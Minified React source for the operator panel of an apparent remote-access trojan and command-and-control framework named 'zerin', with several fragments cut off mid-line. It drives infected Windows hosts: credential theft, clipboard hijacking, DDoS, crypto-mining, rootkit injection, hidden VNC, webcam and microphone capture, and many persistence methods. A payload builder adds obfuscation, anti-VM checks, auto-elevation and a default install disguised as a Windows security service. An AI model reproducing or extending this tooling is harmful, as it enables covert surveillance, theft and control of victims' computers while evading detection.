Fb=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],hV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},Am=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function xV(){const{id:e}=il(),t=xr(),[n,r]=Cx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const $=n.get("tab");return $&&Am.includes($)?$:"overview"}),[k,z]=m.useState(()=>{const $=n.get("tab"),fe=new Set(["overview"]);return $&&Am.includes($)&&fe.add($),fe}),[S,O]=m.useState(null),[A,T]=m.useState(!0),[P,D]=m.useState(!1),[G,R]=m.useState(null),[K,_]=m.useState(new Set),[M,F]=m.useState(()=>n.get("auto")==="1"),[U,V]=m.useState(null),[Z,ae]=m.useState(-1),[ue,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z($=>{if($.has(j))return $;const fe=new Set($);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const $=n.get("tab");$&&Am.includes($)&&$!==j&&N($)},[n]);const q=$=>{N($),$==="overview"?n.delete("tab"):n.set("tab",$),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const $=await ZE(e);s($),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch($){s(null);const fe=$ instanceof Error&&"status"in $?$.status:"network";h($ instanceof Error?`${$.message} (${fe})`:String($))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const $=setInterval(te,5e3);return()=>clearInterval($)},[te]),m.useEffect(()=>{if(!e)return;let $=!0;const fe=async()=>{try{const H=await m6(e);$&&V(H)}catch{$&&V(null)}};fe();const ve=setInterval(fe,3e3);return()=>{$=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const $=fe=>{fe.key==="Escape"&&O(null)};return window.addEventListener("keydown",$),()=>window.removeEventListener("keydown",$)},[S]);const C=m.useMemo(()=>[...o].sort(($,fe)=>new Date($.created_at).getTime()-
|
|||
|
|
hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim
|
|||
|
|
hover:text-zerin-accent transition-colors px-2 py-1
|
|||
|
|
hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(xd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:no(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Ex(i.id);const $=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await Pj(i.id);const $=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be($=>!$),className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:$=>ae(Number($.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map($=>a.jsxs("option",{value:$,children:["Camera ",$]},$))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await Ej(i.id,Z);const $=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await _j(i.id);const $=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),q("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium
|
|||
|
|
text-zerin-accent hover:text-zerin-accent-hover
|
|||
|
|
bg-zerin-accent-muted hover:bg-zerin-accent/20
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>q("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>q("screenshots"),badge:B.length>0?B.length:void 0}),a.jsx(Nn,{label:"Files",active:j==="files",onClick:()=>q("files")}),a.jsx(Nn,{label:"Processes",active:j==="processes",onClick:()=>q("processes")}),a.jsx(Nn,{label:"Windows",active:j==="windows",onClick:()=>q("windows")}),a.jsx(Nn,{label:"Apps",active:j==="apps",onClick:()=>q("apps")}),a.jsx(Nn,{label:"System",active:j==="system",onClick:()=>q("system")}),a.jsx(Nn,{label:"Troll",active:j==="troll",onClick:()=>q("troll")}),a.jsx(Nn,{label:"Credentials",active:j==="credentials",onClick:()=>q("credentials")}),a.jsx(Nn,{label:"Clipper",active:j==="clipper",onClick:()=>q("clipper")}),a.jsx(Nn,{label:"DDoS",active:j==="ddos",onClick:()=>q("ddos")}),a.jsx(Nn,{label:"Miner",active:j==="miner",onClick:()=>q("miner")})]}),a.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[a.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:a.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[a.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[a.jsxs(Om,{title:"System",children:[a.jsx(an,{label:"Hostname",value:i.hostname}),a.jsx(an,{label:"Username",value:i.username}),a.jsx(an,{label:"OS",value:Io(i.os)}),a.jsx(an,{label:"Architecture",value:i.arch}),a.jsx(an,{label:"PID",value:String(i.pid),mono:!0}),a.jsx(an,{label:"Integrity",value:i.integrity}),a.jsx(an,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),a.jsxs(Om,{title:"Network",children:[a.jsx(an,{label:"Internal IP",value:i.internal_ip,mono:!0}),a.jsx(an,{label:"External IP",value:i.external_ip,mono:!0})]}),a.jsxs(Om,{title:"Timing",children:[a.jsx(an,{label:"Sleep / Jitter",value:Ij(i.sleep_interval,i.jitter),mono:!0}),a.jsx(an,{label:"First Seen",value:Lo(i.first_seen)}),a.jsx(an,{label:"Last Seen",value:eu(i.last_seen)}),a.jsx(an,{label:"Agent ID",value:no(i.id),mono:!0})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),a.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${U!=null&&U.active?"bg-emerald-400":"bg-zinc-600"}`})]}),a.jsx("div",{className:"px-4 py-3",children:U!=null&&U.active?a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.port?`127.0.0.1:${U.port}`:"-"})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),a.jsx("span",{className:"font-mono text-zerin-text",children:U.channels})]}),a.jsxs("div",{className:"flex items-center justify-between text-xs",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),a.jsxs("span",{className:"font-mono text-zerin-text",children:[Mp(U.bytes_in)," in / ",Mp(U.bytes_out)," out"]})]}),a.jsx("button",{onClick:async()=>{try{await f6(i.id),V({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium tex
|
|||
|
|
hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[a.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:K.has($.dataUrl)?a.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):a.jsx("img",{src:$.dataUrl,alt:`Screenshot ${no($.taskId)}`,className:`w-full h-full object-cover opacity-90
|
|||
|
|
group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>_(fe=>new Set(fe).add($.dataUrl))})}),a.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:no($.taskId)}),a.jsx("span",{className:"text-xs text-zerin-text-muted",children:eu($.timestamp)})]})})]},$.taskId))})})})]}),a.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("button",{onClick:()=>T($=>!$),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim
|
|||
|
|
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),a.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&a.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&a.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:a.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[a.jsx(ZU,{lines:ne,className:"flex-1 border-0"}),a.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&le.length>0&&a.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0
|
|||
|
|
bg-zerin-panel border border-zerin-panel-border
|
|||
|
|
z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:a.jsxs("div",{className:"p-2",children:[a.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),a.jsx("div",{className:"flex flex-wrap gap-1",children:le.map($=>a.jsx("button",{onClick:()=>Ne($),className:`px-2.5 py-1 text-xs font-mono
|
|||
|
|
bg-zerin-bg text-zerin-text-dim
|
|||
|
|
border border-zerin-panel-border
|
|||
|
|
hover:text-zerin-accent hover:border-zerin-accent/40
|
|||
|
|
hover:bg-zerin-accent-muted transition-colors`,children:$},$))})]})}),G&&a.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:G}),a.jsxs("form",{onSubmit:we,className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),a.jsx("input",{ref:ye,type:"text",value:x,onChange:$=>g($.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border
|
|||
|
|
px-3 py-1.5 text-zerin-text font-mono text-sm
|
|||
|
|
placeholder-zerin-text-muted
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),a.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white
|
|||
|
|
text-sm font-medium px-4 py-1.5
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed
|
|||
|
|
transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),a.jsx(Dj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>D(!1)}),S&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:a.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:$=>$.stopPropagation(),children:[a.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim
|
|||
|
|
hover:text-zerin-text text-sm transition-colors px-2 py-1
|
|||
|
|
hover:bg-white/10`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),a.jsx("img",{src:S,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function Nn({label:e,active:t,onClick:n,badge:r}){return a.jsxs("button",{onClick:n,className:`
|
|||
|
|
px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px
|
|||
|
|
${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"}
|
|||
|
|
`,children:[e,r!==void 0&&a.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function Om({title:e,children:t}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),a.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function an({label:e,value:t,valueClass:n="",mono:r=!1}){return a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),a.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const uS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},Wb={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},vV=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function gV(){const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState("all"),[o,l]=m.useState(null),c=m.useCallback(async()=>{try{const p=await t6();t(p)}catch{}finally{r(!1)}},[]);m.useEffect(()=>{c()},[c]);const{lastMessage:u}=m.useContext(gd);m.useEffect(()=>{if(u&&u.type==="event"){const p=u.payload;t(h=>{const x=[p,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(p=>p.type===i),f=1e3;return a.jsxs("div",{className:"p-6",children:[e.length>=f&&a.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[a.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),a.jsx("div",{className:"flex items-center justify-between mb-6",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),a.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[a.jsx(Ub,{label:"All",active:i==="all",onClick:()=>s("all")}),vV.map(p=>a.jsx(Ub,{label:uS[p],active:i===p,onClick:()=>s(i===p?"all":p)},p))]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?a.jsx("div",{className:"flex items-center justify-ce
|
|||
|
|
px-3 py-1 text-xs font-medium border transition-all duration-150
|
|||
|
|
${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}
|
|||
|
|
`,children:e})}const Vb="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function Hb(){return`agent-${Math.random().toString(16).slice(2,6)}`}const Kb=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],bV=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function wV(){const{isAdmin:e}=ya(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(!1),[l,c]=m.useState(0),[u,d]=m.useState(0),[f,p]=m.useState(""),[h,x]=m.useState(""),g=m.useSyncExternalStore(Tj,Oj),y=g.status==="building",[v,b]=m.useState(Hb),[w,j]=m.useState([""]),[N,k]=m.useState("30"),[z,S]=m.useState("25"),[O,A]=m.useState(""),[T,P]=m.useState(Vb),[D,G]=m.useState(!1),[R,K]=m.useState("exe"),[_,M]=m.useState(0),[F,U]=m.useState(!0),[V,Z]=m.useState(!0),[ae,ue]=m.useState(!0),[be,ye]=m.useState(!0),[q,te]=m.useState(1),[C,Y]=m.useState("Microsoft\\WindowsUpdate"),[ne,B]=m.useState("SecurityHealthService.exe"),[le,we]=m.useState(null),Ne=m.useCallback(async()=>{try{const H=await i6();n(H)}catch{}finally{i(!1)}},[]);m.useEffect(()=>{Ne(),a6().then(H=>{j(se=>se.length===1&&se[0]===""?[H.default_callback_url]:se)}).catch(()=>{})},[Ne]),m.useEffect(()=>{if(!y||!g.startedAt){c(0),d(0);return}const H=setInterval(()=>{const W=Math.floor((Date.now()-g.startedAt)/1e3);d(W);const Q=Math.min(95,Math.floor(100*(1-Math.exp(-W/50))));c(Q)},500),se=Math.floor((Date.now()-g.startedAt)/1e3);return d(se),c(Math.min(95,Math.floor(100*(1-Math.exp(-se/50))))),()=>clearInterval(H)},[y,g.startedAt]),m.useEffect(()=>{y&&o(!0)},[]),m.useEffect(()=>{g.status==="success"?(x(`Payload "${g.payloadName}" built successfully`),o(!1),sy(),Ne()):g.status==="error"&&(p(g.error||"Failed to build payload"),sy())},[g.status]),m.useEffect(()=>{if(!h)return;const H=setTimeout(()=>x(""),4e3);return()=>clearTimeout(H)},[h]);function Ae(){b(Hb()),k("30"),S("25"),A(""),P(Vb),G(!1),K("exe"),M(0),U(!0),Z(!0),ue(!0),ye(!0),te(1),Y("Microsoft\\WindowsUpdate"),B("SecurityHealthService.exe")}async function $(H){H.preventDefault(),p("");const se=w.filter(he=>he.trim()!=="");let W=0;O&&(W=Math.floor(new Date(O).getTime()/1e3));const Q={name:v.trim(),callback_urls:se,sleep_interval:parseInt(N,10)||30,jitter_percent:parseInt(z,10)||25,kill_date:W,user_agent:T.trim(),output_format:R,debug:D,persist_methods:_||void 0,rootkit_enabled:F,encryption_enabled:V,anti_vm:ae,auto_elevate:be,install_dir:q,install_subdir:C,install_filename:ne};q6(Q.name);try{await 